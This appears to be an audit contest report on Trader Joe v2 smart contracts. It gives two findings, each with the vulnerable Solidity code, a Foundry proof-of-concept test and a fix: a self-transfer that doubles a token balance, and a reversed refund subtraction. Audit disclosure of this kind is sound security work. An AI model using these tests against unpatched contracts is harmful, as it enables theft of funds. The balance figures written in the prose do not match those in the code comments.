Trader Joe v2 contest - 8olidity's results

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol#L176-L196

Vulnerability details

Impact

function _transfer(
    address _from,
    address _to,
    uint256 _id,
    uint256 _amount
) internal virtual {
    uint256 _fromBalance = _balances[_id][_from];
    if (_fromBalance < _amount) revert LBToken__TransferExceedsBalance(_from, _id, _amount);

    _beforeTokenTransfer(_from, _to, _id, _amount);

    uint256 _toBalance = _balances[_id][_to];

    unchecked {
        _balances[_id][_from] = _fromBalance - _amount;
        _balances[_id][_to] = _toBalance + _amount;
    }

    _remove(_from, _id, _fromBalance, _amount);
    _add(_to, _id, _toBalance, _amount);
}

If you are transferring money to yourself, then _fromBalance - _amount does not affect _toBalance + _amount. The value of _toBalance is still the original account funds

Proof of Concept

 function testSafeTransferFromSelf() public {
      uint256 amountIn = 1e18;
      (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);
      uint256[] memory amounts = new uint256[](5);
      for (uint256 i; i < 5; i++) {
          assertEq(pair.userPositionAtIndex(DEV, i), _ids[i]);
          amounts[i] = pair.balanceOf(DEV, _ids[i]);
      }
      assertEq(pair.userPositionNumber(DEV), 5);
      assertEq(pair.balanceOf(DEV, ID_ONE - 1), amountIn / 3);
      assertEq(pair.balanceOf(DEV, _ids[0]), amountIn / 3); // 333333333333333333
      pair.safeTransferFrom(DEV, DEV, _ids[0], amounts[0]);
      assertEq(pair.balanceOf(DEV, _ids[0]), (amountIn / 3) * 2);//666666666666666666
  }

Before the transfer, DEV had 3333333333333333333333333333. After DEV transferred the money to himself, the balance of DEV became 66666666666666666666

Tools Used

forge

Recommended Mitigation Steps

_balances[_id][_to] = _balances[_id][_to] + _amount;

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L520

Vulnerability details

Impact

In the last line, the excess money is returned to the user. But the processing is reversed amountsIn[0] -msg.value

function swapAVAXForExactTokens(
    uint256 _amountOut,
    uint256[] memory _pairBinSteps,
    IERC20[] memory _tokenPath,
    address _to,
    uint256 _deadline
)
    external
    payable
    override
    ensure(_deadline)
    verifyInputs(_pairBinSteps, _tokenPath)
    returns (uint256[] memory amountsIn)
{
    if (_tokenPath[0] != IERC20(wavax)) revert LBRouter__InvalidTokenPath(address(_tokenPath[0]));

    address[] memory _pairs = _getPairs(_pairBinSteps, _tokenPath);
    amountsIn = _getAmountsIn(_pairBinSteps, _pairs, _tokenPath, _amountOut);

    if (amountsIn[0] > msg.value) revert LBRouter__MaxAmountInExceeded(msg.value, amountsIn[0]);

    _wavaxDepositAndTransfer(_pairs[0], amountsIn[0]);

    uint256 _amountOutReal = _swapTokensForExactTokens(_pairs, _pairBinSteps, _tokenPath, amountsIn, _to);

    if (_amountOutReal < _amountOut) revert LBRouter__InsufficientAmountOut(_amountOut, _amountOutReal);

    if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value); // @audit 
}

Proof of Concept

forge test --mt testswapAVAXForExactTokens -vvvv

function testswapAVAXForExactTokens() public {
    uint256 amountOut = 1e18;

    (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false);

    IERC20[] memory tokenList = new IERC20[](2);
    tokenList[0] = wavax;
    tokenList[1] = token6D;
    uint256[] memory pairVersions = new uint256[](1);
    pairVersions[0] = DEFAULT_BIN_STEP;

    vm.deal(DEV, amountIn*2);
    router.swapAVAXForExactTokens{value: amountIn+1}(amountOut, pairVersions, tokenList, DEV, block.timestamp);

    assertApproxEqAbs(token6D.balanceOf(DEV), amountOut, 13);
}

Tools Used

forge

Recommended Mitigation Steps

if (msg.value > amountsIn[0]) _safeTransferAVAX(_to,msg.value - amountsIn[0]);